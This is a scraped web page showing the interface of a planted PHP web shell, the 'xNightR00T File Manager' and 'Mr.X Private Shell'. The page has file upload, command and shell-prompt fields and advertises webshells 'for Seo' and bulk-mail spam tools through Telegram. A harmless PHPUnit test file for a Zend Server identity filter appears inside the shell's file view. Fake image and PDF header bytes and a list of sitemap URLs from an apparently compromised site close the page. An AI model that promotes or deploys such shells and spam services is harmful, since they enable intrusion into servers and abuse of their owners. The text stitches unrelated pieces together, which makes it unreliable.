xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment;

use ZendServer\PHPUnit\TestCase;
use ZendServer\Set;
use Servers\Db\Mapper;
use ArrayObject as AO;

require_once 'tests/bootstrap.php';

class IdentityFilterSimpleTest extends TestCase
{

    public function testFilterAppIdsNoApplications()
    {
        $filter = new IdentityFilterSimple();

        $filter->setAddGlobalAppId(true);
        $appIds = $filter->filterAppIds(array(), false);
        self::assertEquals(array(-1), $appIds, 'Empty array should get the global application');
    }

    public function testFilterAppIdsCannotReturnCompletelyEmptySet()
    {
        $filter = new IdentityFilterSimple();
        $filter->setAddGlobalAppId(false);
        self::setExpectedException('Deployment\IdentityFilterException', null,
            IdentityFilterException::EMPTY_APPLICATIONS_ARRAY);
        $appIds = $filter->filterAppIds(array(), false);
    }

    public function testFilterAppIdsNoApplicationsDeployedAndNoApplicationsRequested()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array()));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(true);

        $appIds = $filter->filterAppIds(array(), true);
        self::assertEquals(array(-1), $appIds, 'Empty array should get the global application');
    }

    public function testFilterAppIdsNoApplicationsDeployedAndNoApplicationsRequestedNoGlobalApp()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array()));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(false);
        self::setExpectedException('Deployment\IdentityFilterException', null,
            IdentityFilterException::EMPTY_APPLICATIONS_ARRAY);

        $appIds = $filter->filterAppIds(array(), true);
    }

    public function testFilterAppIdsOneApplicationsDeployedAndNoApplicationsRequested()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array(1)));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(true);

        $appIds = $filter->filterAppIds(array(), true);
        self::assertEquals(array(1, -1), $appIds,
            'Empty array should get the global application and available application');
    }

    public function testFilterAppIdsOneApplicationsDeployedAndOneApplicationsRequestedWithGlobal()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array(1)));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(true);

        $appIds = $filter->filterAppIds(array(1), false);
        self::assertEquals(array(1, -1), $appIds,
            'Empty array should get the global application and available application');
    }

    public function testFilterAppIdsOneApplicationsDeployedAndOneApplicationsRequestedNoGlobal()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array(1)));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(false);

        $appIds = $filter->filterAppIds(array(1), false);
        self::assertEquals(array(1), $appIds, 'Empty array should get the global application and available application');
    }

    public function testFilterAppIdsOneApplicationsDeployedAndTwoApplicationsRequestedWithGlobal()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array(1)));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(true);

        $appIds = $filter->filterAppIds(array(2), false);
        self::assertEquals(array(-1), $appIds, 'Empty array should get the global application and available application');
    }

    public function testFilterAppIdsOneApplicationsDeployedAndTwoApplicationsRequestedNoGlobal()
    {
        $filter = new IdentityFilterSimple();

        $deploymentMapper = $this->getMock('Deployment\Model');
        $deploymentMapper->expects($this->once())->method('getAllApplicationIds')->will($this->returnValue(array(1)));
        $filter->setDeploymentMapper($deploymentMapper);
        $filter->setAddGlobalAppId(false);
        self::setExpectedException('Deployment\IdentityFilterException', null,
            IdentityFilterException::EMPTY_APPLICATIONS_ARRAY);

        $appIds = $filter->filterAppIds(array(2), false);
    }
}

Filemanager

Name Type Size Permission Actions
Mapper Folder 0755
View Folder 0755
IdentityFilterSimpleTest.php File 5.15 KB 0644
ModelTest.php File 6.55 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml